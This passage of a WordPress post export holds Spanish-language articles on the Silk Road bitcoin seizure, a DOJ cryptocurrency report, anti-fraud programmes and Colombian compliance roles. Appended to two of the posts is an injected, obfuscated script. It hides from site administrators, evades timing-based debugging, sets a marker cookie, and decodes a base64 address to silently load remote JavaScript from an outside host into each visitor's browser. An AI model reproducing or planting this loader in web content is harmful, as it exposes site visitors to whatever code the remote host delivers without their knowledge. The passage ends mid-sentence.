src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento 